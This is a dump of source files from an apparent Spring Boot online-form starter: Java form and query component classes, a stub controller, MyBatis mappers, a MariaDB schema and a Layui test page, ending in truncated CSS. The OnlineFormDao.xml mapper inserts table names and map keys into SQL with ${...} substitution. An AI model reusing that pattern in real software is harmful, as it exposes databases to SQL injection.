    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 时间选择器组件实现类\n * 用于生成表单中的时间选择器组件配置\n */\npublic class TimeComponent extends AbstractComponent {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public TimeComponent(OnlineTableColumnEntity column) {\n        super(column);\n    }\n\n    /**\n     * 获取时间选择器组件配置\n     * @return 时间选择器组件配置Map\n     */\n    @Override\n    public Map<String, Object> getComponent() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置组件类型为时间选择器\n        componentMap.put(\"type\", \"timePicker\");\n        \n        // 设置组件属性\n        Map<String, Object> componentProps = new HashMap<>();\n        \n        // 设置组件名称\n        componentProps.put(\"name\", column.getName());\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 设置默认值\n        if (column.getFormDefault() != null && !column.getFormDefault().isEmpty()) {\n            componentProps.put(\"defaultValue\", column.getFormDefault());\n        }\n        \n        // 设置时间格式\n        componentProps.put(\"format\", \"HH:mm:ss\");\n        \n        // 设置时间值格式\n        componentProps.put(\"valueFormat\", \"HH:mm:ss\");\n        \n        // 设置占位符\n        componentProps.put(\"placeholder\", \"请选择\" + column.getComments());\n        \n        // 设置验证规则\n        componentProps.put(\"rules\", getRules());\n        \n        // 关联组件属性\n        componentMap.put(\"componentProps\", componentProps);\n        \n        return componentMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/query/AbstractQuery.java",
    "content": "package io.github.wujun728.online.vo.query;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.Map;\n\n/**\n * 查询组件抽象基类\n * 所有具体的查询组件都需要继承此类并实现getQuery()方法\n */\npublic abstract class AbstractQuery {\n\n    // 表字段实体\n    public OnlineTableColumnEntity column;\n\n    /**\n     * 获取查询组件配置\n     * 具体查询组件需要实现此方法来返回各自的查询配置\n     * @return 查询组件配置Map\n     */\n    public abstract Map<String, Object> getQuery();\n\n    /**\n     * 构造函数\n     */\n    public AbstractQuery() {\n        // 默认构造函数\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/query/DateQuery.java",
    "content": "package io.github.wujun728.online.vo.query;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 日期查询组件\n * 用于生成日期类型字段的查询配置\n */\npublic class DateQuery extends AbstractQuery {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public DateQuery(OnlineTableColumnEntity column) {\n        this.column = column;\n    }\n\n    /**\n     * 获取日期查询组件配置\n     * @return 查询组件配置Map\n     */\n    @Override\n    public Map<String, Object> getQuery() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置默认值\n        componentMap.put(\"defaultValue\", column.getFormDefault());\n        \n        // 设置组件类型为日期选择器\n        componentMap.put(\"component\", \"date-picker\");\n        \n        // 设置组件大小\n        componentMap.put(\"size\", 1);\n        \n        // 根据查询类型设置不同的配置\n        if (\"eq\".equals(column.getQueryType())) {\n            // 等于查询\n            componentMap.put(\"type\", \"default\");\n            componentMap.put(\"label\", column.getComments());\n        } else {\n            // 范围查询\n            componentMap.put(\"type\", \"date-range\");\n            componentMap.put(\"label\", column.getComments() + \" | 开始\");\n            componentMap.put(\"endLabel\", column.getComments() + \" | 结束\");\n        }\n        \n        // 创建查询配置Map\n        Map<String, Object> queryMap = new HashMap<>();\n        \n        // 设置查询控件类型\n        queryMap.put(\"queryType\", column.getQueryInput());\n        \n        // 设置字段名称\n        queryMap.put(\"name\", column.getName());\n        \n        // 关联组件配置\n        queryMap.put(\"config\", componentMap);\n        \n        return queryMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/query/DateTimeQuery.java",
    "content": "package io.github.wujun728.online.vo.query;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 日期时间查询组件\n * 用于生成日期时间类型字段的查询配置\n */\npublic class DateTimeQuery extends AbstractQuery {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public DateTimeQuery(OnlineTableColumnEntity column) {\n        this.column = column;\n    }\n\n    /**\n     * 获取日期时间查询组件配置\n     * @return 查询组件配置Map\n     */\n    @Override\n    public Map<String, Object> getQuery() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置默认值\n        componentMap.put(\"defaultValue\", column.getFormDefault());\n        \n        // 设置组件类型为日期时间选择器\n        componentMap.put(\"component\", \"date-time-picker\");\n        \n        // 设置组件大小\n        componentMap.put(\"size\", 1);\n        \n        // 根据查询类型设置不同的配置\n        if (\"eq\".equals(column.getQueryType())) {\n            // 等于查询\n            componentMap.put(\"type\", \"default\");\n            componentMap.put(\"label\", column.getComments());\n        } else {\n            // 范围查询\n            componentMap.put(\"type\", \"datetimerange\");\n            componentMap.put(\"label\", column.getComments() + \" | 开始\");\n            componentMap.put(\"endLabel\", column.getComments() + \" | 结束\");\n        }\n        \n        // 创建查询配置Map\n        Map<String, Object> queryMap = new HashMap<>();\n        \n        // 设置查询控件类型\n        queryMap.put(\"queryType\", \"datetime-picker\");\n        \n        // 设置字段名称\n        queryMap.put(\"name\", column.getName());\n        \n        // 关联组件配置\n        queryMap.put(\"config\", componentMap);\n        \n        return queryMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/query/InputQuery.java",
    "content": "package io.github.wujun728.online.vo.query;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 输入框查询组件\n * 用于生成文本输入类型字段的查询配置\n */\npublic class InputQuery extends AbstractQuery {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public InputQuery(OnlineTableColumnEntity column) {\n        this.column = column;\n    }\n\n    /**\n     * 获取输入框查询组件配置\n     * @return 查询组件配置Map\n     */\n    @Override\n    public Map<String, Object> getQuery() {\n        // 创建组件属性Map\n        Map<String, String> componentProps = new HashMap<>();\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 创建查询配置Map\n        Map<String, Object> queryMap = new HashMap<>();\n        \n        // 设置查询控件类型\n        queryMap.put(\"queryType\", \"input\");\n        \n        // 设置字段名称\n        queryMap.put(\"name\", column.getName());\n        \n        // 关联组件属性\n        queryMap.put(\"config\", componentProps);\n        \n        return queryMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/query/QueryContext.java",
    "content": "package io.github.wujun728.online.vo.query;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.Map;\n\n/**\n * 查询组件上下文类\n * 根据字段类型创建对应的查询组件实例\n */\npublic class QueryContext {\n\n    // 查询组件实例\n    private AbstractQuery query;\n\n    /**\n     * 构造函数\n     * 根据字段的查询类型创建对应的查询组件\n     * @param column 表字段实体\n     */\n    public QueryContext(OnlineTableColumnEntity column) {\n        // 根据字段的查询输入类型创建对应的查询组件\n        String queryInput = column.getQueryInput();\n        \n        if (\"input\".equals(queryInput)) {\n            // 文本输入框查询组件\n            query = new InputQuery(column);\n        } else if (\"select\".equals(queryInput)) {\n            // 下拉选择查询组件\n            query = new SelectQuery(column);\n        } else if (\"date\".equals(queryInput)) {\n            // 日期选择查询组件\n            query = new DateQuery(column);\n        } else if (\"datetime\".equals(queryInput)) {\n            // 日期时间查询组件\n            query = new DateTimeQuery(column);\n        } else {\n            // 默认使用输入框查询组件\n            query = new InputQuery(column);\n        }\n    }\n\n    /**\n     * 获取查询组件配置\n     * @return 查询组件配置Map\n     */\n    public Map<String, Object> getQuery() {\n        return query.getQuery();\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/query/SelectQuery.java",
    "content": "package io.github.wujun728.online.vo.query;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 下拉选择查询组件\n * 用于生成下拉选择类型字段的查询配置\n */\npublic class SelectQuery extends AbstractQuery {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public SelectQuery(OnlineTableColumnEntity column) {\n        this.column = column;\n    }\n\n    /**\n     * 获取下拉选择查询组件配置\n     * @return 查询组件配置Map\n     */\n    @Override\n    public Map<String, Object> getQuery() {\n        // 创建组件属性Map\n        Map<String, Object> componentProps = new HashMap<>();\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 设置是否允许清空选择\n        componentProps.put(\"allowClear\", true);\n        \n        // 创建字典项数组\n        // 实际项目中，这些字典项应该从数据库或配置中获取\n        Map<String, String> dictItem1 = new HashMap<>();\n        dictItem1.put(\"label\", \"启用\");\n        dictItem1.put(\"value\", \"1\");\n        \n        Map<String, String> dictItem2 = new HashMap<>();\n        dictItem2.put(\"label\", \"禁用\");\n        dictItem2.put(\"value\", \"0\");\n        \n        // 设置字典数据\n        componentProps.put(\"options\", Arrays.asList(dictItem1, dictItem2));\n        \n        // 创建查询配置Map\n        Map<String, Object> queryMap = new HashMap<>();\n        \n        // 设置查询控件类型\n        queryMap.put(\"queryType\", \"select\");\n        \n        // 设置字段名称\n        queryMap.put(\"name\", column.getName());\n        \n        // 关联组件属性\n        queryMap.put(\"config\", componentProps);\n        \n        return queryMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/net/maku/framework/common/exception/ServerException.java",
    "content": "package net.maku.framework.common.exception;\n\n/**\n * 服务器异常\n * 用于服务层抛出的业务异常\n */\npublic class ServerException extends RuntimeException {\n\n    /**\n     * 构造函数\n     * @param message 异常消息\n     */\n    public ServerException(String message) {\n        super(message);\n    }\n    \n    /**\n     * 构造函数\n     * @param message 异常消息\n     * @param cause 异常原因\n     */\n    public ServerException(String message, Throwable cause) {\n        super(message, cause);\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/net/maku/framework/controller/OnlineFormController.java",
    "content": "package net.maku.framework.controller;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n/**\n * 在线表单控制器\n * 提供在线表单的访问入口和基本功能\n */\n@Controller\n@RequestMapping(\"/online/form\")\npublic class OnlineFormController {\n\n    /**\n     * 进入在线表单页面\n     */\n    @GetMapping\n    public String index() {\n        return \"online/form\";\n    }\n    \n    /**\n     * 获取表单配置信息\n     */\n    @GetMapping(\"/config\")\n    @ResponseBody\n    public String getFormConfig() {\n        // 这里可以返回表单的配置信息\n        return \"{\\\"success\\\":true,\\\"message\\\":\\\"获取表单配置成功\\\"}\";\n    }\n    \n    /**\n     * 保存表单数据\n     */\n    @GetMapping(\"/save\")\n    @ResponseBody\n    public String saveFormData() {\n        // 这里可以处理表单数据的保存逻辑\n        return \"{\\\"success\\\":true,\\\"message\\\":\\\"表单数据保存成功\\\"}\";\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/META-INF/spring.factories",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.online.config.OnlineFormAutoConfiguration"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/META-INF/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/application.yml",
    "content": "spring:\n  # 静态资源配置\n  resources:\n    static-locations: classpath:/static/\n    # 启用静态资源缓存\n    cache:\n      period: 3600\n  # MVC配置\n  mvc:\n    # 静态资源映射\n    static-path-pattern: /**\n\n# 服务器配置\nserver:\n  port: 8080\n  servlet:\n    context-path: /"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/mapper/OnlineFormDao.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n\n<mapper namespace=\"io.github.wujun728.online.dao.OnlineFormDao\">\n    \n    <select id=\"getList\" resultType=\"map\">\n        select * from ${tableName}\n        <where>\n            <foreach collection=\"params.entrySet()\" separator=\"and\" index=\"key\" item=\"val\">\n                ${key} #{val}\n            </foreach>\n        </where>\n        order by id desc\n    </select>\n\n    <select id=\"getById\" resultType=\"map\">\n        select * from ${tableName} where id = #{id}\n    </select>\n\n    <select id=\"save\">\n        insert into ${tableName}\n        <foreach collection=\"columns.entrySet()\" open=\"(\" separator=\",\" close=\")\" index=\"key\">\n            ${key}\n        </foreach>\n        values\n        <foreach collection=\"columns.entrySet()\" open=\"(\" separator=\",\" close=\")\" item=\"val\">\n            #{val}\n        </foreach>\n    </select>\n\n    <select id=\"update\">\n        update ${tableName} set\n        <foreach collection=\"columns.entrySet()\" separator=\",\" index=\"key\" item=\"val\">\n            ${key} = #{val}\n        </foreach>\n        where id = #{id}\n    </select>\n\n    <select id=\"delete\">\n        delete from ${tableName} where id in\n        <foreach collection=\"list\" open=\"(\" separator=\",\" close=\")\" item=\"val\">\n            #{val}\n        </foreach>\n    </select>\n\n</mapper>"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/mapper/OnlineTableColumnDao.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n\n<mapper namespace=\"io.github.wujun728.online.dao.OnlineTableColumnDao\">\n\n    <select id=\"getByTableId\" resultType=\"io.github.wujun728.online.entity.OnlineTableColumnEntity\">\n        select * from online_table_column where table_id = #{value} order by sort\n    </select>\n</mapper>"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/mapper/OnlineTableDao.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n\n<mapper namespace=\"io.github.wujun728.online.dao.OnlineTableDao\">\n\n\n</mapper>"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/online_table.sql",
    "content": "/*\n Navicat Premium Dump SQL\n\n Source Server         : localhost_3306\n Source Server Type    : MySQL\n Source Server Version : 100432 (10.4.32-MariaDB)\n Source Host           : localhost:3306\n Source Schema         : db_maku\n\n Target Server Type    : MySQL\n Target Server Version : 100432 (10.4.32-MariaDB)\n File Encoding         : 65001\n\n Date: 15/09/2025 23:42:58\n*/\n\nSET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for online_table\n-- ----------------------------\nDROP TABLE IF EXISTS `online_table`;\nCREATE TABLE `online_table`  (\n  `id` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT 'id',\n  `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '表名',\n  `comments` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '表描述',\n  `form_layout` tinyint NULL DEFAULT NULL COMMENT '表单布局',\n  `tree` tinyint NULL DEFAULT NULL COMMENT '是否树  0：否   1：是',\n  `tree_pid` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '树父id',\n  `tree_label` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '树展示列',\n  `table_type` tinyint NULL DEFAULT NULL COMMENT '表类型  0：单表',\n  `status` tinyint NULL DEFAULT NULL COMMENT '是否更新  0：否   1：是',\n  `version` int NULL DEFAULT NULL COMMENT '版本号',\n  `deleted` tinyint NULL DEFAULT NULL COMMENT '删除标识  0：正常   1：已删除',\n  `creator` bigint NULL DEFAULT NULL COMMENT '创建者',\n  `create_time` datetime NULL DEFAULT NULL COMMENT '创建时间',\n  `updater` bigint NULL DEFAULT NULL COMMENT '更新者',\n  `update_time` datetime NULL DEFAULT NULL COMMENT '更新时间',\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = 'Online表单' ROW_FORMAT = Dynamic;\n\n-- ----------------------------\n-- Records of online_table\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for online_table_column\n-- ----------------------------\nDROP TABLE IF EXISTS `online_table_column`;\nCREATE TABLE `online_table_column`  (\n  `id` bigint NOT NULL AUTO_INCREMENT COMMENT 'id',\n  `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '字段名称',\n  `comments` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '字段描述',\n  `length` int NOT NULL COMMENT '字段长度',\n  `point_length` int NOT NULL COMMENT '小数点',\n  `default_value` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '默认值',\n  `column_type` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '字段类型',\n  `column_pk` tinyint NULL DEFAULT NULL COMMENT '字段主键 0：否  1：是',\n  `column_null` tinyint NULL DEFAULT NULL COMMENT '字段为空 0：否  1：是',\n  `form_item` tinyint NULL DEFAULT NULL COMMENT '表单项 0：否  1：是',\n  `form_required` tinyint NULL DEFAULT NULL COMMENT '表单必填 0：否  1：是',\n  `form_input` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '表单控件',\n  `form_default` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '表单控件默认值',\n  `form_dict` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '表单字典',\n  `grid_item` tinyint NULL DEFAULT NULL COMMENT '列表项 0：否  1：是',\n  `grid_sort` tinyint NULL DEFAULT NULL COMMENT '列表排序 0：否  1：是',\n  `query_item` tinyint NULL DEFAULT NULL COMMENT '查询项 0：否  1：是',\n  `query_type` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '查询方式',\n  `query_input` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '查询控件',\n  `sort` int NULL DEFAULT NULL COMMENT '排序',\n  `table_id` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '表id',\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = 'Online表单字段' ROW_FORMAT = Dynamic;\n\n-- ----------------------------\n-- Records of online_table_column\n-- ----------------------------\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/static/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Layui 测试页面</title>\n    <!-- 引入 layui.css -->\n    <link rel=\"stylesheet\" href=\"/layui/css/layui.css\">\n</head>\n<body>\n    <div style=\"margin: 20px auto; width: 600px;\">\n        <h2>在线表单开发工具测试页面</h2>\n        \n        <!-- Layui 表单示例 -->\n        <div class=\"layui-form\">\n            <div class=\"layui-form-item\">\n                <label class=\"layui-form-label\">输入框</label>\n                <div class=\"layui-input-block\">\n                    <input type=\"text\" name=\"title\" required  lay-verify=\"required\" placeholder=\"请输入标题\" autocomplete=\"off\" class=\"layui-input\">\n                </div>\n            </div>\n            <div class=\"layui-form-item\">\n                <label class=\"layui-form-label\">选择框</label>\n                <div class=\"layui-input-block\">\n                    <select name=\"city\" lay-verify=\"required\">\n                        <option value=\"\">请选择城市</option>\n                        <option value=\"0\">北京</option>\n                        <option value=\"1\">上海</option>\n                        <option value=\"2\">广州</option>\n                        <option value=\"3\">深圳</option>\n                    </select>\n                </div>\n            </div>\n            <div class=\"layui-form-item\">\n                <label class=\"layui-form-label\">开关</label>\n                <div class=\"layui-input-block\">\n                    <input type=\"checkbox\" name=\"switch\" lay-skin=\"switch\">\n                </div>\n            </div>\n            <div class=\"layui-form-item\">\n                <label class=\"layui-form-label\">复选框</label>\n                <div class=\"layui-input-block\">\n                    <input type=\"checkbox\" name=\"like[write]\" title=\"写作\">\n                    <input type=\"checkbox\" name=\"like[read]\" title=\"阅读\">\n                    <input type=\"checkbox\" name=\"like[game]\" title=\"游戏\" checked>\n                </div>\n            </div>\n            <div class=\"layui-form-item\">\n                <div class=\"layui-input-block\">\n                    <button class=\"layui-btn\" lay-submit lay-filter=\"formDemo\">立即提交</button>\n                    <button type=\"reset\" class=\"layui-btn layui-btn-primary\">重置</button>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    <!-- 引入 layui.js -->\n    <script src=\"/layui/layui.js\"></script>\n    <script>\n        // 使用layui\n        layui.use(['form', 'layer'], function(){ \n            var form = layui.form;\n            var layer = layui.layer;\n            \n            // 监听提交\n            form.on('submit(formDemo)', function(data){\n                layer.msg(JSON.stringify(data.field));\n                return false;\n            });\n        });\n    </script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/static/layui/css/layui.css",
    "content": "blockquote,body,button,dd,div,dl,dt,form,h1,h2,h3,h4,h5,h6,input,li,ol,p,pre,td,textarea,th,ul{margin:0;padding:0;-webkit-tap-highlight-color:rgba(0,0,0,0)}a:active,a:hover{outline:0}img{display:inline-block;border:none;vertical-align:middle}li{list-style:none}table{border-collapse:collapse;border-spacing:0}h1,h2,h3,h4{font-weight:700}h5,h6{font-weight:500;font-size:100%}button,input,select,textarea{font-size:100%}button,input,optgroup,option,select,textarea{font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;outline:0}pre{white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word}body{line-height:1.6;color:#333;color:rgba(0,0,0,.85);font:14px Helvetica Neue,Helvetica,PingFang SC,Tahoma,Arial,sans-serif}hr{height:0;line-height:0;margin:10px 0;padding:0;border:none!important;border-bottom:1px solid #eee!important;clear:both;overflow:hidden;background:0 0}a{color:#333;text-decoration:none}a:hover{color:#777}a cite{font-style:normal;*cursor:pointer}.layui-border-box,.layui-border-box *{box-sizing:border-box}.layui-box,.layui-box *{box-sizing:content-box}.layui-clear{clear:both;*zoom:1}.layui-clear:after{content:'\\20';clear:both;*zoom:1;display:block;height:0}.layui-clear-space{word-spacing:-5px}.layui-inline{position:relative;display:inline-block;*display:inline;*zoom:1;vertical-align:middle}.layui-edge{position:relative;display:inline-block;vertical-align:middle;width:0;height:0;border-width:6px;border-style:dashed;border-color:transparent;overflow:hidden}.layui-edge-top{top:-4px;border-bottom-color:#999;border-bottom-style:solid}.layui-edge-right{border-left-color:#999;border-left-style:solid}.layui-edge-bottom{top:2px;border-top-color:#999;border-top-style:solid}.layui-edge-left{border-right-color:#999;border-right-style:solid}.layui-elip{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-disabled,.layui-icon,.layui-unselect{-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.layui-disabled,.layui-disabled:hover{color:#d2d2d2!important;cursor:not-allowed!important}.layui-circle{border-radius:100%}.layui-show{display:block!important}.layui-hide{display:none!important}.layui-show-v{visibility:visible!important}.layui-hide-v{visibility:hidden!important}@font-face{font-family:layui-icon;src:url(../font/iconfont.eot?v=280);src:url(../font/iconfont.eot?v=280#iefix) format('embedded-opentype'),url(../font/iconfont.woff2?v=280) format('woff2'),url(../font/iconfont.woff?v=280) format('woff'),url(../font/iconfont.ttf?v=280) format('truetype'),url(../font/iconfont.svg?v=280#layui-icon) format('svg')}.layui-icon{font-family:layui-icon!important;font-size:16px;font-style:normal;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.layui-icon-leaf:before{content:\"\\e701\"}.layui-icon-folder:before{content:\"\\eabe\"}.layui-icon-folder-open:before{content:\"\\eac1\"}.layui-icon-gitee:before{content:\"\\e69b\"}.layui-icon-github:before{content:\"\\e6a7\"}.layui-icon-disabled:before{content:\"\\e6cc\"}.layui-icon-moon:before{content:\"\\e6c2\"}.layui-icon-error:before{content:\"\\e693\"}.layui-icon-success:before{content:\"\\e697\"}.layui-icon-question:before{content:\"\\e699\"}.layui-icon-lock:before{content:\"\\e69a\"}.layui-icon-eye:before{content:\"\\e695\"}.layui-icon-eye-invisible:before{content:\"\\e696\"}.layui-icon-backspace:before{content:\"\\e694\"}.layui-icon-tips-fill:before{content:\"\\eb2e\"}.layui-icon-test:before{content:\"\\e692\"}.layui-icon-clear:before{content:\"\\e788\"}.layui-icon-heart-fill:before{content:\"\\e68f\"}.layui-icon-light:before{content:\"\\e748\"}.layui-icon-music:before{content:\"\\e690\"}.layui-icon-time:before{content:\"\\e68d\"}.layui-icon-ie:before{content:\"\\e7bb\"}.layui-icon-firefox:before{content:\"\\e686\"}.layui-icon-at:before{content:\"\\e687\"}.layui-icon-bluetooth:before{content:\"\\e689\"}.layui-icon-chrome:before{content:\"\\e68a\"}.layui-icon-edge:before{content:\"\\e68b\"}.layui-icon-heart:before{content:\"\\e68c\"}.layui-icon-key:before{content:\"\\e683\"}.layui-icon-android:before{content:\"\\e684\"}.layui-icon-mike:before{content:\"\\e6dc\"}.layui-icon-mute:before{content:\"\\e685\"}.layui-icon-gift:before{content:\"\\e627\"}.layui-icon-windows:before{content:\"\\e67f\"}.layui-icon-ios:before{content:\"\\e680\"}.layui-icon-logout:before{content:\"\\e682\"}.layui-icon-wifi:before{content:\"\\e7e0\"}.layui-icon-rss:before{content:\"\\e808\"}.layui-icon-email:before{content:\"\\e618\"}.layui-icon-reduce-circle:before{content:\"\\e616\"}.layui-icon-transfer:before{content:\"\\e691\"}.layui-icon-service:before{content:\"\\e626\"}.layui-icon-addition:before{content:\"\\e624\"}.layui-icon-subtraction:before{content:\"\\e67e\"}.layui-icon-slider:before{content:\"\\e714\"}.layui-icon-print:before{content:\"\\e66d\"}.layui-icon-export:before{content:\"\\e67d\"}.layui-icon-cols:before{content:\"\\e610\"}.layui-icon-screen-full:before{content:\"\\e622\"}.layui-icon-screen-restore:before{content:\"\\e758\"}.layui-icon-rate-half:before{content:\"\\e6c9\"}.layui-icon-rate-solid:before{content:\"\\e67a\"}.layui-icon-rate:before{content:\"\\e67b\"}.layui-icon-cellphone:before{content:\"\\e678\"}.layui-icon-vercode:before{content:\"\\e679\"}.layui-icon-login-weibo:before{content:\"\\e675\"}.layui-icon-login-qq:before{content:\"\\e676\"}.layui-icon-login-wechat:before{content:\"\\e677\"}.layui-icon-username:before{content:\"\\e66f\"}.layui-icon-password:before{content:\"\\e673\"}.layui-icon-refresh-3:before{content:\"\\e9aa\"}.layui-icon-auz:before{content:\"\\e672\"}.layui-icon-shrink-right:before{content:\"\\e668\"}.layui-icon-spread-left:before{content:\"\\e66b\"}.layui-icon-snowflake:before{content:\"\\e6b1\"}.layui-icon-tips:before{content:\"\\e702\"}.layui-icon-note:before{content:\"\\e66e\"}.layui-icon-senior:before{content:\"\\e674\"}.layui-icon-refresh-1:before{content:\"\\e666\"}.layui-icon-refresh:before{content:\"\\e669\"}.layui-icon-flag:before{content:\"\\e66c\"}.layui-icon-theme:before{content:\"\\e66a\"}.layui-icon-notice:before{content:\"\\e667\"}.layui-icon-console:before{content:\"\\e665\"}.layui-icon-website:before{content:\"\\e7ae\"}.layui-icon-face-surprised:before{content:\"\\e664\"}.layui-icon-set:before{content:\"\\e716\"}.layui-icon-template:before{content:\"\\e663\"}.layui-icon-app:before{content:\"\\e653\"}.layui-icon-template-1:before{content:\"\\e656\"}.layui-icon-home:before{content:\"\\e68e\"}.layui-icon-female:before{content:\"\\e661\"}.layui-icon-male:before{content:\"\\e662\"}.layui-icon-tread:before{content:\"\\e6c5\"}.layui-icon-praise:before{content:\"\\e6c6\"}.layui-icon-rmb:before{content:\"\\e65e\"}.layui-icon-more:before{content:\"\\e65f\"}.layui-icon-camera:before{content:\"\\e660\"}.layui-icon-cart-simple:before{content:\"\\e698\"}.layui-icon-face-cry:before{content:\"\\e69c\"}.layui-icon-face-smile:before{content:\"\\e6af\"}.layui-icon-survey:before{content:\